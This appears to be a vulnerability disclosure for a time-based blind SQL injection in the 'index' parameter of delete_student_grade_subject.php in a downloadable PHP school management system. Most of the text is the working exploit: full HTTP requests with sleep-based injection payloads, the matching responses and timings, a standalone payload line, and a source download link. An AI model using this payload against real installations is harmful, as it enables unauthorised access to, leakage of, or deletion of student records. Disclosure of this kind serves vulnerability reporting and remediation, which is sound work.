

SQL injection vulnerability exists in index parameter of
/model/delete_student_grade_subject.php file of Complete Web-Based School Management System
Important user data or system data may be leaked and system security may be compromised
The environment is secure and the information can be used by malicious users.
Sleep time is 4s:

Request

```
1 GET /std1/model/delete_student_grade_subject.php?
  index=/'%2B(select(0)from(select(sleep(4)))v)%2B'*/&
  &page=currentPage HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 14:59:27 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 238
8
9 [2,"currentPage","delete id1,id2.*\r\n      from
  student_subject id1\r\n      inner join
  student_grade id2\r\n      on
  id1.index_number=id2.index_number\r\n      where
  id1.index_number='\'+'+(select(0)from(select(sleep(4
  )))v)+'*\r\n']
```

427 bytes | 4,037 millis

Sleep time is 5.5s:

Request

```
1 GET /std1/model/delete_student_grade_subject.php?
  index=/'%2B(select(0)from(select(sleep(5.5)))v)%2B'*/&
  &page=currentPage HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 15:00:07 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 240
8
9 [2,"currentPage","delete id1,id2.*\r\n      from
  student_subject id1\r\n      inner join
  student_grade id2\r\n      on
  id1.index_number=id2.index_number\r\n      where
  id1.index_number='\'+'+(select(0)from(select(sleep(5
  .5)))v)+'*\r\n']
```

429 bytes | 5,512 millis

Payload: index='%2B(select(0)from(select(sleep(5.5)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>